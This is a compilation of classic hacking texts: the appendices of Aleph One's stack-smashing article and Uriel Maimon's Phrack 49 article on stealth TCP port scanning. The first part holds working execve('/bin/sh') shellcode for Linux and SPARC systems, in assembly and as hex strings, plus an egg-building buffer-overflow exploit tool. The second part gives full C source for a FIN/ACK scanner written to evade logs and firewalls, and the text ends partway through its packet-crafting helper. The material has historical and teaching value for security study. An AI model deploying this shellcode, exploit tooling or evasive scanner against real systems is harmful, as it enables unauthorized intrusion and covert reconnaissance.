Appendix A ‑ Shellcode for Different Operating Systems/Architectures

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

i386/Linux

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

jmp 0x1f

popl %esi

movl %esi,0x8(%esi)

xorl %eax,%eax

movb %eax,0x7(%esi)

movl %eax,0xc(%esi)

movb $0xb,%al

movl %esi,%ebx

leal 0x8(%esi),%ecx

leal 0xc(%esi),%edx

int $0x80

xorl %ebx,%ebx

movl %ebx,%eax

inc %eax

int $0x80

call ‑0x24

.string \"/bin/sh\"

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

SPARC/Solaris

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

sethi 0xbd89a, %l6

or %l6, 0x16e, %l6

sethi 0xbdcda, %l7

and %sp, %sp, %o0

add %sp, 8, %o1

xor %o2, %o2, %o2

add %sp, 16, %sp

std %l6, [%sp ‑ 16]

st %sp, [%sp ‑ 8]

st %g0, [%sp ‑ 4]

mov 0x3b, %g1

ta 8

xor %o7, %o7, %o0

mov 1, %g1

ta 8

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

SPARC/SunOS

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

sethi 0xbd89a, %l6

or %l6, 0x16e, %l6

sethi 0xbdcda, %l7

and %sp, %sp, %o0

add %sp, 8, %o1

xor %o2, %o2, %o2

add %sp, 16, %sp

std %l6, [%sp ‑ 16]

st %sp, [%sp ‑ 8]

st %g0, [%sp ‑ 4]

mov 0x3b, %g1

mov‑0x1, %l5

ta %l5 + 1

xor %o7, %o7, %o0

mov 1, %g1

ta %l5 + 1

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Appendix B ‑ Generic Buffer Overflow Program

~~~~~~~~~~~~~~~~~~~~~~~

shellcode.h

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

#if defined(__i386__) && defined(__linux__)

#define NOP_SIZE1

char nop[] = "\x90";

char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh";

unsigned long get_sp(void) {

__asm__("movl %esp,%eax");

}

#elif defined(__sparc__) && defined(__sun__) && defined(__svr4__)

#define NOP_SIZE4

char nop[]="\xac\x15\xa1\x6e";

char shellcode[] = "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e" "\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0" "\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\x91\xd0\x20\x08" "\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd0\x20\x08";

unsigned long get_sp(void) {

__asm__("or %sp, %sp, %i0");

}

#elif defined(__sparc__) && defined(__sun__)

#define NOP_SIZE 4

char nop[]="\xac\x15\xa1\x6e";

char shellcode[] = "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e" "\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0" "\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\xaa\x10\x3f\xff" "\x91\xd5\x60\x01\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd5\x60\x01";

unsigned long get_sp(void) {

__asm__("or %sp, %sp, %i0");

}

#endif

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

eggshell.c

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

/*

* eggshell v1.0

*

* Aleph One / aleph1@underground.org

*/

#include <stdlib.h>

#include <stdio.h>

#include "shellcode.h"

#define DEFAULT_OFFSET 0

#define DEFAULT_BUFFER_SIZE 512

#define DEFAULT_EGG_SIZE 2048

void usage(void);

void main(int argc, char *argv[]) {

char *ptr, *bof, *egg;

long *addr_ptr, addr;

int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;

int i, n, m, c, align=0, eggsize=DEFAULT_EGG_SIZE;

while ((c = getopt(argc, argv, "a:b:e:o:")) != EOF)

switch (c) {

case 'a':

align = atoi(optarg);

break;

case 'b':

bsize = atoi(optarg);

break;

case 'e':

eggsize = atoi(optarg);

break;

case 'o':

offset = atoi(optarg);

break;

case '?':

usage();

exit(0);

}

if (strlen(shellcode) > eggsize) {

printf("Shellcode is larger the the egg.\n");

exit(0);

}

if (!(bof = malloc(bsize))) {

printf("Can't allocate memory.\n");

exit(0);

}

if (!(egg = malloc(eggsize))) {

printf("Can't allocate memory.\n");

exit(0);

}

addr = get_sp() ‑ offset;

printf("[ Buffer size:\t%d\t\tEgg size:\t%d\tAligment:\t%d\t]\n", bsize, eggsize, align);

printf("[ Address:\t0x%x\tOffset:\t\t%d\t\t\t\t]\n", addr, offset);

addr_ptr = (long *) bof;

for (i = 0; i < bsize; i+=4)

*(addr_ptr++) = addr;

ptr = egg;

for (i = 0; i <= eggsize ‑ strlen(shellcode) ‑ NOP_SIZE; i += NOP_SIZE) for (n = 0; n < NOP_SIZE; n++) {

m = (n + align) % NOP_SIZE;

*(ptr++) = nop[m];

}

for (i = 0; i < strlen(shellcode); i++)

*(ptr++) = shellcode[i];

bof[bsize ‑ 1] = '\0';

egg[eggsize ‑ 1] = '\0';

memcpy(egg,"EGG=",4);

putenv(egg);

memcpy(bof,"BOF=",4);

putenv(bof);

system("/bin/sh");

}

void usage(void) {

(void)fprintf(stderr,

"usage: eggshell [‑a <alignment>] [‑b <buffersize>] [‑e <eggsize>] [‑o <offset>]\n"); }

TCP port Stealth Scanning

.oO Phrack 49 Oo.

Volume Seven, Issue Forty‑Nine

15 of 16

Port Scanning without the SYN flag / Uriel Maimon (lifesux@cox.org)

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Introduction :

‑‑‑‑‑‑‑‑‑‑‑‑‑‑

During the course of time, there has risen a demand to know the services a certain host offers. The field of portscanning rose to offer a solution to this need. At first, implementations such as SATAN, connected to each tcp port using the full three‑way‑handshake (opening a full tcp connection). The upside to this method is that the user who is scanning does not need to custom build the ip packet he is scanning with, because he uses standard system calls, and does not need root access (generally a uid of 0 is needed to use SOCK_RAW, /dev/bpf,/dev/nit and so forth) the major down side to this method is that it is easily detectable and also easily detered, using any number of methods, most notably the TCP Wrappers made by Wietse Venema.

The next step was of course SYN‑scanning or 'half open scanning' which implies that a full tcp connection is never established. The process of establishing a tcp connection is three phased: the originating party first sends a TCP packet with the SYN flag on, then the target party sends a TCP packet with the flags SYN and ACK on if the port is open, or, if the port is closed, the target party resets the connection with the RST flag. The third phase of the negotiation is when the originating party sends a final TCP packet with the ACK flag on (all these packets, of course, have the corresponding sequence numbers, ack numbers, etc). The connection is now open. A SYN‑scanner only sends the first packet in the three‑way‑handshake, the SYN packet, and waits for the SYN|ACK or a RST. When it receives one of the two it knows whether or not the port is listening. The major advantage to this method is that it is not detected by normal logs such as "SATAN detectors" or Wiestse's tcp_wrappers. The main disadvantages are:

1) This method can still be detected by certian loggers that log SYN connection attempts ('tcplog' for example), and can still be detected by netstat(1).

2) The sender, under most operating systems, needs to custom build the entire IP packet for this kind of scanning (I don't know of any operating system under which this is not true, if you know of one, please let me know). This requires access to SOCK_RAW (getprotbyname('raw'); under most systems) or /dev/bpf (Berkeley packet filter), /dev/nit (Sun 'Network Interface Tap') etc. This usually requires root or privileged group access.

3) A great deal of firewalls who would filter out this scan, will not filter out the StealthScan(TM) (all rights reserved to vicious little red blow ficiouz deliciouz (kosher) chicken surpass INC PLC LTD).

A note about UDP portscanning:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

In this article I will ignore UDP portscanning for the simple reason that it lacks the complexity of tcp; it is not a connection oriented stream protocol but rather a connectionless datagram protocol. To scan a UDP port to see if it is listening, simply send any UDP packet to the port. You will receive an ICMP 'Destination Port Unreachable' packet if the port is not listening.

To the best of my knowledge this is the only way to scan UDP ports. I will be glad to be corrected ‑‑ if anyone knows of a different method please E‑mail me.

The StealthScan:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

This method relies on bad net code in the BSD code. Since most of the networking code in most any operating system today is BSD netcode or a derivative thereof it works on most systems. (A most obvious exception to this is Cisco routers... Gosh! GOOD networking code ?!?@$! <GASP> HERESY! Alan Cox will have a heart attack when he hears of this!)

Disadvantages of this technique:

1) The IP packet must still be custom built. I see no solution for this problem, unless some really insecure system calls will be put in. I see no real need for this because SLIP/PPP services are so common these days, getting super user access on a machine is not a problem any more.

2) This method relies on bugs in net code. This can and probably will be fixed in the near future. (Shhhhhh. Don't tell Alan Cox. He hates good efficient networking code.) OpenBSD, for example, has already fixed this bug.

3) The outcome of a scan is never known, and the outcome is not similar over different architectures and operating systems. It is not reliable.

Main advantages of this method over the other methods:

1) Very difficult to log. Even once the method is known, devising a logging method without fixing the actual bug itself is problematic.

2) Can circumvent some firewalls.

3) Will not show up on netstat(1).

4) Does not consist of any part of the standard TCP three‑way‑handshake.

5) Several different methods consisting of the same principle.

The actual algorithm :

I use TCP packets with the ACK, and FIN flags turned on. I use these simply because they are packets that should always return RST on an unopened connection sent to a port. From now on I refer to such packets as 'RST' , 'FIN', or 'ACK' packets.

method #1:

Send a FIN packet. If the destination host returns a RST then the port is closed, if there is no return RST then the port is listening. The fact that this method works on so many hosts is a sad testimonial to the state of the networking code in most operating system kernels.

method #2

Send an ACK packet. If the returning packets ttl is lower than in the rest of the RST packets received, or if the window size is greater than zero, the port is probably listening.

(Note on the ttl: This bug is almost understandable. Every function in IP is a routing function. With every interface change, the packets ttl is subtracted by one. In the case of an open port, the ttl was decremented when it was received and examined, but when it was 'noticed' the flag was not a SYN, a RST was sent, with a ttl one lower then if the port had simply been closed. This might not be the case. I have not checked this theory against the BSD networking code. Feel free to correct me.

Uriel

/*

* scantcp.c

*

* version 1.32

*

* Scans for listening TCP ports by sending packets to them and waiting for * replies. Relys upon the TCP specs and some TCP implementation bugs found * when viewing tcpdump logs.

*

* As always, portions recycled (eventually, with some stops) from n00k.c * (Wow, that little piece of code I wrote long ago still serves as the base * interface for newer tools)

*

* Technique:

* 1. Active scanning: not supported ‑ why bother.

*

* 2. Half‑open scanning:

* a. send SYN

* b. if reply is SYN|ACK send RST, port is listening

* c. if reply is RST, port is not listening

*

* 3. Stealth scanning: (works on nearly all systems tested)

* a. sends FIN

* b. if RST is returned, not listening.

* c. otherwise, port is probably listening.

*

* (This bug in many TCP implementations is not limited to FIN only; in fact * many other flag combinations will have similar effects. FIN alone was * selected because always returns a plain RST when not listening, and the * code here was fit to handle RSTs already so it took me like 2 minutes * to add this scanning method)

*

* 4. Stealth scanning: (may not work on all systems)

* a. sends ACK

* b. waits for RST

* c. if TTL is low or window is not 0, port is probably listening. *

* (stealth scanning was created after I watched some tcpdump logs with * these symptoms. The low‑TTL implementation bug is currently believed * to appear on Linux only, the non‑zero window on ACK seems to exists on * all BSDs.)

*

* CHANGES:

* ‑‑‑‑‑‑‑‑

* 0. (v1.0)

* ‑ First code, worked but was put aside since I didn't have time nor * need to continue developing it.

* 1. (v1.1)

* ‑ BASE CODE MOSTLY REWRITTEN (the old code wasn't that maintainable) * ‑ Added code to actually enforce the usecond‑delay without usleep() * (replies might be lost if usleep()ing)

* 2. (v1.2)

* ‑ Added another stealth scanning method (FIN).

* Tested and passed on:

* AIX 3

* AIX 4

* IRIX 5.3

* SunOS 4.1.3

* System V 4.0

* Linux

* FreeBSD

* Solaris

*

* Tested and failed on:

* Cisco router with services on ( IOS 11.0)

*

* 3. (v1.21)

* ‑ Code commented since I intend on abandoning this for a while. *

* 4. (v1.3)

* ‑ Resending for ports that weren't replied for.

* (took some modifications in the internal structures. this also * makes it possible to use non‑linear port ranges

* (say 1‑1024 and 6000))

*

* 5. (v1.31)

* ‑ Flood detection ‑ will slow up the sending rate if not replies are *recieved for STCP_THRESHOLD consecutive sends. Saves alot of resends *on easily‑flooded networks.

*

* 6. (v1.32)

* ‑ Multiple port ranges support.

* The format is: <start‑end>|<num>[,<start‑end>|<num>,...] *

* Examples: 20‑26,113

* 20‑100,113‑150,6000,6660‑6669

*

* PLANNED: (when I have time for this)

* ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

* (v2.x) ‑ Multiple flag combination selections, smart algorithm to point * out uncommon replies and cross‑check them with another flag *

*/

#define RESOLVE_QUIET

#include <stdio.h>

#include <netinet/in.h>

#include <netinet/ip.h>

#include <netinet/ip_tcp.h>

#include <sys/time.h>

#include <sys/types.h>

#include <sys/socket.h>

#include <unistd.h>

#include <stdlib.h>

#include <string.h>

#include <signal.h>

#include <errno.h>

#include "resolve.c"

#include "tcppkt03.c"

#define STCP_VERSION "1.32"

#define STCP_PORT 1234 /* Our local port. */

#define STCP_SENDS 3

#define STCP_THRESHOLD 8

#define STCP_SLOWFACTOR 10

/* GENERAL ROUTINES ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

void banner(void)

{

printf("\nscantcp\n");

printf("version %s\n",STCP_VERSION);

}

void usage(const char *progname)

{

printf("\nusage: \n");

printf("%s <method> <source> <dest> <ports> <udelay> <delay> [sf]\n\n",progname); printf("\t<method> : 0: half‑open scanning (type 0, SYN)\n"); printf("\t 1: stealth scanning (type 1, FIN)\n"); printf("\t 2: stealth scanning (type 2, ACK)\n"); printf("\t<source> : source address (this host)\n"); printf("\t<dest> : target to scan\n");

printf("\t<ports> : ports/and or ranges to scan ‑ eg: 21‑30,113,6000\n"); printf("\t<udelay> : microseconds to wait between TCP sends\n"); printf("\t<delay> : seconds to wait for TCP replies\n"); printf("\t[sf] : slow‑factor in case sends are dectected to be too fast\n\n"); }

/* OPTION PARSING etc ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

unsigned char *dest_name;

unsigned char *spoof_name;

struct sockaddr_in destaddr;

unsigned long dest_addr;

unsigned long spoof_addr;

unsigned long usecdelay;

unsigned waitdelay;

int slowfactor = STCP_SLOWFACTOR;

struct portrec /* the port‑data structure */

{

unsigned n;

int state;

unsigned char ttl;

unsigned short int window;

unsigned long int seq;

char sends;

} *ports;

char *portstr;

unsigned char scanflags;

int done;

int rawsock; /* socket descriptors */

int tcpsock;

int lastidx = 0; /* last sent index */

int maxports; /* total number of ports */

void timeout(int signum) /* timeout handler */

{ /* this is actually the data */

int someopen = 0; /* analyzer function. werd. */

unsigned lastsent;

int checklowttl = 0;

struct portrec *p;

printf("* SCANNING IS OVER\n\n");

fflush(stdout);

done = 1;

for (lastsent = 0;lastsent<maxports;lastsent++)

{

p = ports+lastsent;

if (p‑>state == ‑1)

if (p‑>ttl > 64)

{

checklowttl = 1;

break;

}

}

/* the above loop checks whether there's need to report low‑ttl packets */

for (lastsent = 0;lastsent<maxports;lastsent++)

{

p = ports+lastsent;

destaddr.sin_port = htons(p‑>n);

tcpip_send(rawsock,&destaddr, spoof_addr,destaddr.sin_addr.s_addr, STCP_PORT,ntohs(destaddr.sin_port),

TH_RST,

p‑>seq++, 0,

512,

NULL,

0);

} /* just RST ‑everything‑ sent */

/* this inclued packets a reply */

/* (even RST) was recieved for */

for (lastsent = 0;lastsent<maxports;lastsent++)

{ /* here is the data analyzer */

p = ports+lastsent;

switch (scanflags)

{

case TH_SYN:

switch(p‑>state)

{

case ‑1: break;

case 1 : printf("# port %d is listening.\n",p‑>n); someopen++;

break;

case 2 : printf("# port %d maybe listening (unknown response).\n", p‑>n);

someopen++;

break;

default: printf("# port %d needs to be rescanned.\n",p‑>n); }

break;

case TH_ACK:

switch (p‑>state)

{

case ‑1:

if (((p‑>ttl < 65) && checklowttl) || (p‑>window >0)) {

printf("# port %d maybe listening",p‑>n);

if (p‑>ttl < 65) printf(" (low ttl)");

if (p‑>window >0) printf(" (big window)"); printf(".\n");

someopen++;

}

break;

case 1:

case 2:

printf("# port %d has an unexpected response.\n", p‑>n);

break;

default:

printf("# port %d needs to be rescanned.\n",p‑>n); }

break;

case TH_FIN:

switch (p‑>state)

{

case ‑1:

break;

case 0 :

printf("# port %d maybe open.\n",p‑>n); someopen++;

break;

default:

printf("# port %d has an unexpected response.\n",p‑>n); }

}

}

printf("‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑n");

printf("# total ports open or maybe open: %d\n\n",someopen); free(ports);

exit(0); /* heh. */

}

int resolve_one(const char *name, unsigned long *addr, const char *desc) {

struct sockaddr_in tempaddr;

if (resolve(name, &tempaddr,0) == ‑1) {

printf("error: can't resolve the %s.\n",desc);

return ‑1;

}

*addr = tempaddr.sin_addr.s_addr;

return 0;

}

void give_info(void)

{

printf("# response address : %s (%s)\n",spoof_name,inet_ntoa(spoof_addr)); printf("# target address : %s (%s)\n",dest_name,inet_ntoa(dest_addr)); printf("# ports : %s\n",portstr);

printf("# (total number of ports) : %d\n",maxports); printf("# delay between sends : %lu microseconds\n",usecdelay); printf("# delay : %u seconds\n",waitdelay); printf("# flood dectection threshold : %d unanswered sends\n",STCP_THRESHOLD); printf("# slow factor : %d\n",slowfactor); printf("# max sends per port : %d\n\n",STCP_SENDS); }

int parse_args(int argc, char *argv[])

{

if (strrchr(argv[0],'/') != NULL)

argv[0] = strrchr(argv[0],'/') + 1;

if (argc < 7) {

printf("%s: not enough arguments\n",argv[0]);

return ‑1;

}

switch (atoi(argv[1]))

{

case 0 : scanflags = TH_SYN;

break;

case 1 : scanflags = TH_FIN;

break;

case 2 : scanflags = TH_ACK;

break;

default : printf("%s: unknown scanning method\n",argv[0]); return ‑1;

}

spoof_name = argv[2];

dest_name = argv[3];

portstr = argv[4];

usecdelay = atol(argv[5]);

waitdelay = atoi(argv[6]);

if (argc > 7) slowfactor = atoi(argv[7]);

if ((usecdelay == 0) && (slowfactor > 0))

{

printf("%s: adjusting microsecond‑delay to 1usec.\n"); usecdelay++;

}

return 0;

}

/* MAIN ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

int build_ports(char *str) /* build the initial port‑database */

{

int i;

int n;

struct portrec *p;

int sport;

char *s;

s = str;

maxports = 0;

n = 0;

while (*s != '\0')

{

switch (*s)

{

case '0':

case '1':

case '2':

case '3':

case '4':

case '5':

case '6':

case '7':

case '8':

case '9':

n *= 10;

n += (*s ‑ '0');

break;

case '‑':

if (n == 0) return ‑1;

sport = n;

n = 0;

break;

case ',':

if (n == 0) return ‑1;

if (sport != 0)

{

if (sport >= n) return ‑1;

maxports += n‑sport;

sport = 0;

} else

maxports++;

n = 0;

break;

}

s++;

}

if (n == 0) return ‑1;

if (sport != 0)

{

if (sport >= n) return ‑1;

maxports += n‑sport;

sport = 0;

}

else

maxports++;

maxports+=2;

if ((ports = (struct portrec *)malloc((maxports)*sizeof(struct portrec))) == NULL) {

fprintf(stderr,"\nerror: not enough memory for port database\n\n"); exit(1);

}

s = str;

maxports = 0;

n = 0;

while (*s != '\0')

{

switch (*s)

{

case '0':

case '1':

case '2':

case '3':

case '4':

case '5':

case '6':

case '7':

case '8':

case '9':

n *= 10;

n += (*s ‑ '0');

break;

case '‑':

if (n == 0) return ‑1;

sport = n;

n = 0;

break;

case ',':

if (n == 0) return ‑1;

if (sport != 0)

{

if (sport >= n) return ‑1;

while (sport <= n)

{

for (i=0;i<maxports;i++)

if ((ports+i)‑>n == sport) break;

if (i < maxports‑1 )

printf("notice: duplicate port ‑ %d\n",sport);

else

{

(ports+maxports)‑>n = sport;

maxports++;

}

sport++;

}

sport = 0;

} else

{

for (i=0;i<maxports;i++)

if ((ports+i)‑>n == n) break;

if (i < maxports‑1 )

printf("notice: duplicate port ‑ %d\n",n);

else

{

(ports+maxports)‑>n = n;

maxports++;

}

}

n = 0;

break;

}

s++;

}

if (n == 0) return ‑1;

if (sport != 0)

{

if (sport >= n) return ‑1;

while (sport <= n)

{

for (i=0;i<maxports;i++)

if ((ports+i)‑>n == sport) break;

if (i < maxports‑1 )

printf("notice: duplicate port ‑ %d\n",sport);

else

{

(ports+maxports)‑>n = sport;

maxports++;

}

sport++;

}

sport = 0;

} else

{

for (i=0;i<maxports;i++)

if ((ports+i)‑>n == n) break;

if (i < maxports‑1 )

printf("notice: duplicate port ‑ %d\n",n);

else

{

(ports+maxports)‑>n = n;

maxports++;

}

}

printf("\n");

for (i=0;i<maxports;i++)

{

p = ports+i;

p‑>state = 0;

p‑>sends = 0;

}

return 0;

}

struct portrec *portbynum(int num)

{

int i = 0;

while ( ((ports+i)‑>n != num) && (i<maxports) ) i++;

if ( i == maxports ) return NULL;

return (ports+i);

}

struct portrec *nextport(char save)

{

struct portrec *p = ports;

int doneports = 0;

int oldlastidx = lastidx;

while (doneports != maxports)

{

p = ports+lastidx;

if ((p‑>state != 0) || (p‑>sends == STCP_SENDS))

{

doneports++;

lastidx++;

lastidx %= maxports;

}

else

break;

}

if (save)

lastidx = oldlastidx;

else

lastidx = (lastidx + 1) % maxports;

if (doneports == maxports) return NULL;

return p;

}

inline unsigned long usecdiff(struct timeval *a, struct timeval *b) {

unsigned long s;

s = b‑>tv_sec ‑ a‑>tv_sec;

s *= 1000000;

s += b‑>tv_usec ‑ a‑>tv_usec;

return s; /* return the stupid microsecond diff */

}

void main(int argc, char *argv[])

{

int lastsent = 0;

char buf[3000];

struct iphdr *ip = (struct iphdr *)(buf);

struct tcphdr *tcp = (struct tcphdr *)(buf+sizeof(struct iphdr));

struct sockaddr_in from;

int fromlen;

struct portrec *readport;

fd_set rset, wset;

struct timeval waitsend, now, del;

unsigned long udiff;

int sendthreshold = 0;

banner();

if (parse_args(argc,argv))

{

usage(argv[0]);

return;

}

if (resolve_one(dest_name,

&dest_addr,

"destination host")) exit(1);

destaddr.sin_addr.s_addr = dest_addr;

destaddr.sin_family = AF_INET;

if (resolve_one(spoof_name,

&spoof_addr,

"source host")) exit(1);

if ( build_ports(portstr) == ‑1)

{

printf("\n%s: bad port string\n",argv[0]);

usage(argv[0]);

return;

}

give_info();

if ((tcpsock = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) == ‑1) {

printf("\nerror: couldn't get TCP raw socket\n\n");

exit(1);

}

if ((rawsock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) == ‑1) {

printf("\nerror: couldn't get raw socket\n\n");

exit(1);

}

/* well, let's get to it. */

done = 0;

printf("* BEGINNING SCAN\n");

fflush(stdout);

gettimeofday(&waitsend,NULL);

while (!done)

{

if (nextport(1) == NULL)

{

alarm(0); /* no more sends, now we just */

signal(SIGALRM,timeout); /* to wait <waitdelay> seconds */

alarm(waitdelay); /* before resetting and giving */

} /* results. */

FD_ZERO(&rset);

FD_SET(tcpsock,&rset);

gettimeofday(&now,NULL);

udiff = usecdiff(&waitsend,&now);

/* here comes the multiple choice select().

* well, there are 3 states:

* 1. already sent all the packets.

* 2. didn't send all the packets, but it's not time for another send * 3. didn't send all the packets and it is time for another send. */

if (nextport(1) != NULL)

if (udiff > usecdelay)

{

FD_ZERO(&wset);

FD_SET(rawsock,&wset);

select(FD_SETSIZE,&rset,&wset,NULL,NULL);

} else

{

del.tv_sec = 0;

del.tv_usec = usecdelay;

select(FD_SETSIZE,&rset,NULL,NULL,&del);

}

else

select(FD_SETSIZE,&rset,NULL,NULL,NULL);

if (FD_ISSET(tcpsock,&rset)) /* process the reply */

{

fromlen = sizeof(from);

recvfrom(tcpsock,&buf,3000,0,

(struct sockaddr *)&from,&fromlen);

if (from.sin_addr.s_addr == destaddr.sin_addr.s_addr) if (ntohs(tcp‑>th_dport) == STCP_PORT)

{

printf("* got reply");

readport = portbynum(ntohs(tcp‑>th_sport));

if (readport == NULL)

printf(" ‑‑ bad port");

else

{

sendthreshold = 0;

if (!readport‑>state)

{

readport‑>ttl = ip‑>ttl;

readport‑>window = tcp‑>th_win;

if (tcp‑>th_flags & TH_RST)

{

readport‑>state = ‑1;

printf(" (RST)");

if (readport‑>ttl < 65) printf(" (short ttl)");

if (readport‑>window > 0) printf(" (big window)");

}

else

if (tcp‑>th_flags & (TH_ACK | TH_SYN))

{

readport‑>state = 1;

printf(" (SYN+ACK)");

tcpip_send(rawsock,&destaddr, spoof_addr,destaddr.sin_addr.s_addr, STCP_PORT,readport‑>n,

TH_RST,

readport‑>seq++, 0,

512,

NULL,

0);

}

else

{

readport‑>state = 2;

printf(" (UNEXPECTED)");

tcpip_send(rawsock,&destaddr, spoof_addr,destaddr.sin_addr.s_addr, STCP_PORT,readport‑>n,

TH_RST,

readport‑>seq++, 0,

512,

NULL,

0);

}

}

else

printf(" (duplicate)");

}

printf("\n");

fflush(stdout);

}

}

if (nextport(1) != NULL)

if (FD_ISSET(rawsock,&wset)) /* process the sends */

{

readport = nextport(0);

destaddr.sin_port = htons(readport‑>n);

printf("* sending to port %d ",ntohs(destaddr.sin_port));

readport‑>seq = lrand48();

readport‑>sends++;

tcpip_send(rawsock,&destaddr, spoof_addr,destaddr.sin_addr.s_addr, STCP_PORT,ntohs(destaddr.sin_port),

scanflags,

readport‑>seq++, lrand48(),

512,

NULL,

0);

gettimeofday(&waitsend,NULL);

FD_ZERO(&wset);

printf("\n");

if ((++sendthreshold > STCP_THRESHOLD) && (slowfactor)) {

printf("\n\n ‑‑ THRESHOLD CROSSED ‑ SLOWING UP SENDS\n\n"); usecdelay *= slowfactor;

sendthreshold = 0;

}

}

}

}

/*

* tcp_pkt.c

*

* routines for creating TCP packets, and sending them into sockets. *

* (version 0.3)

*

*

* BUGFIX: ‑ it seems like the TCP pseudo header checksum was

* acting up in serveral cases.

* ADDED : ‑ HEXDUMP macro.

* ‑ packet dump handling

*/

/* remove inlines for smaller size but lower speed */

#include <netinet/in.h>

#include <string.h>

#include <sys/types.h>

#include <netinet/ip.h>

#include <netinet/tcp.h>

#define IPHDRSIZE sizeof(struct iphdr)

#define TCPHDRSIZE sizeof(struct tcphdr)

#define PSEUDOHDRSIZE sizeof(struct pseudohdr)

/* ********** RIPPED CODE START ******************************** */

/*

* in_cksum ‑‑

* Checksum routine for Internet Protocol family headers (C Version) */

unsigned short in_cksum(addr, len)

u_short *addr;

int len;

{

register int nleft = len;

register u_short *w = addr;

register int sum = 0;

u_short answer = 0;

/*

* Our algorithm is simple, using a 32 bit accumulator (sum), we add * sequential 16 bit words to it, and at the end, fold back all the * carry bits from the top 16 bits into the lower 16 bits. */

while (nleft > 1) {

sum += *w++;

nleft ‑= 2;

}

/* mop up an odd byte, if necessary */

if (nleft == 1) {

*(u_char *)(&answer) = *(u_char *)w ;

sum += answer;

}

/* add back carry outs from top 16 bits to low 16 bits */

sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */

sum += (sum >> 16); /* add carry */

answer = ~sum; /* truncate to 16 bits */

return(answer);

}

/* ********** RIPPED CODE END ******************************** */

/*

* HEXDUMP()

*

* not too much to explain

*/

inline void HEXDUMP(unsigned len, unsigned char *data)

{

unsigned i;

for (i=0;i<len;i++) printf("%02X%c",*(data+i),((i+1)%16) ? ' ' : '\n'); }

/*

* tcpip_send()

*

* sends a totally customized datagram with TCP/IP headers.

*/

inline int tcpip_send(int socket,

struct sockaddr_in *address,

unsigned long s_addr,

unsigned long t_addr,

unsigned s_port,

unsigned t_port,

unsigned char tcpflags,

unsigned long seq,

unsigned long ack,

unsigned win,

char *datagram,

unsigned datasize)

{

struct pseudohdr {

unsigned long saddr;

unsigned long daddr;

char useless;

unsigned char protocol;

unsigned int tcplength;

};

unsigned char packet[2048];

struct iphdr *ip = (struct iphdr *)packet;

struct tcphdr *tcp = (struct tcphdr *)(packet+IPHDRSIZE); struct pseudohdr *pseudo = (struct pseudohdr *)(packet+IPHDRSIZE‑PSEUDOHDRSIZE); unsigned char *data = (unsigned char *)(packet+IPHDRSIZE+TCPHDRSIZE);

/*

* The above casts will save us a lot of memcpy's later. * The pseudo‑header makes this way become easier than a union. */

memcpy(data,datagram,datasize); memset(packet,0,TCPHDRSIZE+IPHDRSIZE);

/* The data is in place, all headers are zeroed. */

pseudo‑>saddr = s_addr;

pseudo‑>daddr = t_addr;

pseudo‑>protocol = IPPROTO_TCP;

pseudo‑>tcplength = htons(TCPHDRSIZE+datasize);

